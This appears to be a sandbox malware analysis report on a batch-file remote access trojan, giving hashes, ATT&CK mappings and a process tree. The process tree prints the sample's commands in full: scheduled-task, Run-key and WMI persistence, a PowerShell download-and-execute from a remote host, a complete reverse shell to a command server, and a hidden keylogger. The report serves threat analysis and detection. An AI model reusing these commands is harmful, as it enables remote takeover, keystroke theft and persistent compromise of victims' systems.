9c0fa2f382faf868cee25bb77a6abd556ef4a6172dee271adcca74e1fba54bfd

Analysis

max time kernel
149s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 01:38

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General

Target
rat_build_161359_014437.bat
Size 5KB
Sample260529-b2mv5ahs2s
SHA256 9c0fa2f382faf868cee25bb77a6abd556ef4a6172dee271adcca74e1fba54bfd
MD5 19924430f4695c009c17c52ccf8174a5
SHA1 27feccfdf8ab9ba865c5d5c5011a605346c91981
SHA512 867cb8ce41d94f0e942d0c59e8e5b6b747ce39a3107586e0d5a0da4aed70fe069888b6763ad8ebe7b9c2d1b41a1ea5d0b4f1fc8c6e33e360f93314fa330b66ea
SSDEEP 96:iIEykW+x+Emrfs1CehJmtXjFGqPPnilXYtfgdHyemsiFgZk8mvlo1Q87C2WS:iSf+x+EWf+oXjF7XixYtfutiFgkHlA7v
TLSH
T1EBB1186763832130C0B02918C637380817ACE6FF3305DEDDBA48DDD91A8CD43A5696E7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_161359.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3476	powershell.exe
372	powershell.exe
728	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_161359 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_161359.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3768	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
1580	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3660	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4924	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3476	powershell.exe
3476	powershell.exe
372	powershell.exe
372	powershell.exe
728	powershell.exe
728	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	1188	WMIC.exe
Token: SeSecurityPrivilege	1188	WMIC.exe
Token: SeTakeOwnershipPrivilege	1188	WMIC.exe
Token: SeLoadDriverPrivilege	1188	WMIC.exe
Token: SeSystemProfilePrivilege	1188	WMIC.exe
Token: SeSystemtimePrivilege	1188	WMIC.exe
Token: SeProfSingleProcessPrivilege	1188	WMIC.exe
Token: SeIncBasePriorityPrivilege	1188	WMIC.exe
Token: SeCreatePagefilePrivilege	1188	WMIC.exe
Token: SeBackupPrivilege	1188	WMIC.exe
Token: SeRestorePrivilege	1188	WMIC.exe
Token: SeShutdownPrivilege	1188	WMIC.exe
Token: SeDebugPrivilege	1188	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1188	WMIC.exe
Token: SeRemoteShutdownPrivilege	1188	WMIC.exe
Token: SeUndockPrivilege	1188	WMIC.exe
Token: SeManageVolumePrivilege	1188	WMIC.exe
Token: 33	1188	WMIC.exe
Token: 34	1188	WMIC.exe
Token: 35	1188	WMIC.exe
Token: 36	1188	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1188	WMIC.exe
Token: SeSecurityPrivilege	1188	WMIC.exe
Token: SeTakeOwnershipPrivilege	1188	WMIC.exe
Token: SeLoadDriverPrivilege	1188	WMIC.exe
Token: SeSystemProfilePrivilege	1188	WMIC.exe
Token: SeSystemtimePrivilege	1188	WMIC.exe
Token: SeProfSingleProcessPrivilege	1188	WMIC.exe
Token: SeIncBasePriorityPrivilege	1188	WMIC.exe
Token: SeCreatePagefilePrivilege	1188	WMIC.exe
Token: SeBackupPrivilege	1188	WMIC.exe
Token: SeRestorePrivilege	1188	WMIC.exe
Token: SeShutdownPrivilege	1188	WMIC.exe
Token: SeDebugPrivilege	1188	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1188	WMIC.exe
Token: SeRemoteShutdownPrivilege	1188	WMIC.exe
Token: SeUndockPrivilege	1188	WMIC.exe
Token: SeManageVolumePrivilege	1188	WMIC.exe
Token: 33	1188	WMIC.exe
Token: 34	1188	WMIC.exe
Token: 35	1188	WMIC.exe
Token: 36	1188	WMIC.exe
Token: SeIncreaseQuotaPrivilege	884	WMIC.exe
Token: SeSecurityPrivilege	884	WMIC.exe
Token: SeTakeOwnershipPrivilege	884	WMIC.exe
Token: SeLoadDriverPrivilege	884	WMIC.exe
Token: SeSystemProfilePrivilege	884	WMIC.exe
Token: SeSystemtimePrivilege	884	WMIC.exe
Token: SeProfSingleProcessPrivilege	884	WMIC.exe
Token: SeIncBasePriorityPrivilege	884	WMIC.exe
Token: SeCreatePagefilePrivilege	884	WMIC.exe
Token: SeBackupPrivilege	884	WMIC.exe
Token: SeRestorePrivilege	884	WMIC.exe
Token: SeShutdownPrivilege	884	WMIC.exe
Token: SeDebugPrivilege	884	WMIC.exe
Token: SeSystemEnvironmentPrivilege	884	WMIC.exe
Token: SeRemoteShutdownPrivilege	884	WMIC.exe
Token: SeUndockPrivilege	884	WMIC.exe
Token: SeManageVolumePrivilege	884	WMIC.exe
Token: 33	884	WMIC.exe
Token: 34	884	WMIC.exe
Token: 35	884	WMIC.exe
Token: 36	884	WMIC.exe
Token: SeIncreaseQuotaPrivilege	884	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1992 wrote to memory of 4924	1992	cmd.exe	86
PID 1992 wrote to memory of 3660	1992	cmd.exe	87
PID 1992 wrote to memory of 1188	1992	cmd.exe	88
PID 1992 wrote to memory of 884	1992	cmd.exe	90
PID 1992 wrote to memory of 2324	1992	cmd.exe	91
PID 1992 wrote to memory of 1580	1992	cmd.exe	96
PID 1992 wrote to memory of 3768	1992	cmd.exe	99
PID 1992 wrote to memory of 3476	1992	cmd.exe	100
PID 1992 wrote to memory of 372	1992	cmd.exe	101
PID 1992 wrote to memory of 728	1992	cmd.exe	104

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_161359_014437.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1992
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_161359" /tr "C:\Users\Admin\AppData\Local\Temp\_161359.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4924
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_161359" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_161359.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:3660
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_161359", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1188
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_161359", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_161359.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:884
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_161359.txt
  2⤵
  PID:2324
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:1580
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:3768
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_161359.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3476
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:728

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 383e2fb9976eaed3200af5ed50a47ee1d0b902d59de18296ef6677a1358be351
MD5 498057a1a851d43d64bcee87b953efff
SHA1 972b26714c446466840108191d3c6f354363bf83
SHA512 141d64f095fb698e614fc01b07c308cd4a3bed4a4beb4b92eed77bbde1da12b548bc022615fd06b1f262f22b7dcfe0ddb92a6095483d8930553850294033dd2b
TLSH
T193115327B39C8921CC96153A509DAC1172B683DB81AEDE9FAFC4D214A07F984CB612A4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 20a6a25748351164ef9a33b1b09e4e3b12bc101a3d12891d00669a15b2b25bdf
MD5 3d60e7c9ef409fbfd9e405db511fefc5
SHA1 04e823c0c2bef7c9326bdad006e6e946ceec3e74
SHA512 cf92ca9de6860785cf0c10c4c04452afc64d87cc2a11990f506bec0bc5fe99346fa87e4e9808cd09c3d079232f5400d6fcd57cd976316f36941fc672fe97747c
TLSH
T150115727B39C89A1CC96163A409D9C1172B783D7409EDEDF6BC0D214E1BF584CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_haame53e.02t.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_haame53e.02t.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3476-3-0x000001EFEFD60000-0x000001EFEFD82000-memory.dmp

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